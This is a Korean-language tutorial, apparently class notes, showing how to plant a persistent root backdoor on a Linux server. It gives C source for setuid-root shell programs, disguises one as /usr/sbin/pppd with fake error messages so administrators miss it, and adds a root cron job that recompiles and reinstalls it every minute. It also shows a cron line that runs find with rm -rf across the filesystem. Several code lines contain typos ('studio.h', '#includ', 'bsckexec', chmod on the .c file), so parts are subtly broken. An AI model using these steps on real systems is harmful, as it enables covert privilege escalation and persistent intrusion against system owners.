$ sudo su -
$ cd /home
$ nano backddor.c
// backdoor.c
#include <studio.h>
main()
{
setuid(0); // uid를 0으로 설정
setgid(0); // gid를 0으로 설정
system("/bin/sh"); // 본 쉘 실행
}
$ gcc -o backdoor backdoor.c
$ chmod 4755 backdoor
권한확인
실행확인
$ ./backdoor
C언어로 백도어 파일을 작성하는 이유:
시스템 접근: C 언어는 저수준의 작업을 수행하기에 적합하다. 시스템 호출, 메모리 접근 등을 더 쉽게 다룰 수 있어, 시스템에 대한 접근을 가능하다.
효율성: C 언어는 높은 성능을 제공하며, 시스템 리소스를 효율적으로 다루는데 유용하다. 이는 백도어가 백그라운드에서 실행되면서 시스템 리소스를 효율적으로 활용할 수 있는 장점을 제공한다.
포팅(Porting): C 언어로 작성된 백도어는 여러 플랫폼에서 쉽게 이식될 수 있다. C 코드는 여러 운영 체제에서 컴파일되어 실행될 수 있으며, 이식성이 뛰어나기 때문에 특정 운영 체제에 구애받지 않고 사용될 수 있다.
저수준 작업: C 언어는 메모리에 직접적으로 접근할 수 있기 때문에, 악의적인 목적으로 메모리 조작 등 저수준 작업을 수행하기에 적합하다.
/home
디렉터리에 있으면 서버 담당자에게 발각되기 쉬우므로 다른 곳에 그럴싸하게 위장시켜놔야 한다.
여기서는 /usr/sbin
디렉터리에 pppd
파일로 위장시킨다.
[ root ]
$ sudo su
$ cd /home/jina
$ cd /usr/sbin
$ nano backexec.c
// backexec.c
#includ <stdio.h>
main(int argc, char *argv[])
{
char exec[100];
setuid(0);
setgid(0);
sprintf(exec, "%s 2>/dev/null", argv[1]);
system(exec);
printf("./pppd: The remote system is required to authentic>
printf("./pppd: but I couldn't find any suitable secret (p>
}
위장파일 생성
$ gcc -o bsckexec backexec.c # 컴파일
$ chmod 4755 backexec.c
$ ls -l # 권한 부여됐는지 확인 -rwsr-xr-x
실행확인
$ ./backexec # 실행 확인
pppd 파일을 백도어 파일로 변경
$ cp /usr/sbin/pppd /usr/sbin/pppd.back
$ mv backexec /usr/sbin/pppd
$ ls -l /usr/sbin/pppd
[ 사용자(jina) ]
jina로 사용자 변경
$ sudo su - jina
pppd로 위장한 파일이 있는 폴더로 이동
$ cd /usr/bin
$ ls -l pppd
백도어 파일 실행
$ ./pppd
특정한 시간에 특정한 작업을 수행하게 하는 것
종류 | 설명 |
---|---|
at | 한 번만 실행되는 경우 사용 - /var/spool/at |
cron | 주기적으로 프로세스를 실행 시 사용 - 관리자 : root 권한으로 /etc/crontab 에 등록- 일반 사용자 : /var/spool/cron/사용자id 에 등록 |
0 12 * * 1-5 /etc/work.sh
월요일~금요일까지 오후 12시 실행
10 4 1 1-12/2 * /etc/work.sh
1월부터 12월까지 2개월마다 1일날 오전 4시 10분에 실행
0 10 * * 1 cat/root/notice |mail-s "notice" email@gmail.com
월요일에 실행
0 4 * * 1,3,5 find/ -name '*.bak'-exec rm -rf {} \;
백도어 파일 발견 시 디렉토리와 파일 삭제
[ root ]
위장파일 생성
$ cd /etc/cron.d
$ nano set.sh
# set.sh 실행파일 작성
gcc -o backexec /home/jina/backexec.c
chmod 4755 backexec
mv backexec /usr/sbin/pppd
$ ls -l
/etc/cron.d
수정
$ nano /etc/crontab
#
밑에 내용 추가
# 매분마다 파일이 생성된다.
* * * * * root /etc/cron.d/set.sh
cron 내용 수정 시 restart 해줘야 한다.
service cron restart
제대로 동작하는 지 확인
rm -rf /usr/sbin/pppd # pppd 파일 삭제
ls /usr/sbin/pppd # 반복적으로 확인
삭제 했던 pppd 파일이 1분 뒤 다시 생성된 것을 확인할 수 있다.